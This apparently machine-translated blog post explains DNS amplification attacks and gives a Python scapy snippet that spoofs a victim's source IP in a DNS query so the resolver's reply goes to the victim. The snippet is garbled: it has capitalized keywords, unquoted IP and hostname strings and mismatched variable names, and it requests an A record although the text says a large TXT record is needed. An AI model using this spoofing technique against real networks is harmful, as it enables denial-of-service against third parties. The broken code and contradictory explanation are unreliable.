Use scapy to simulate DNS amplification attacks

First, there are two simple explanations for DNS amplification Attacks:

1. Counterfeit the source IP address as the IP address of another person

2. The requested record must be large, for example, in TXT format, KB

 

On Machine A, you can send A query to the DNS for the TXT record and forge the record into someone else's ip address. This can be understood as a dns amplification attack.

It can be simulated using python scapy:

From scapy import *

A = IP (dst = 10.32.8.11, src = 10.32.132.85) #10.32.132.85 is a forged source ip address.

B = UDP (dport = 53)

C = DNS (id = 1, qr = 0, opcode = 0, tc = 0, rd = 1, qdcount = 1, ancount = 0, nscount = 0, arcount = 0)

C. qd = DNSQR (qname = www.qq.com, qtype = 1, qclass = 1)

P = a/B/c

Send (p)

Simulation ends.

When you capture the dns package on 10.32.132.85, you will receive a DNS response sent from 10.32.8.11.

 

---------------------------------------------------------------------------
Low-profile python kiddies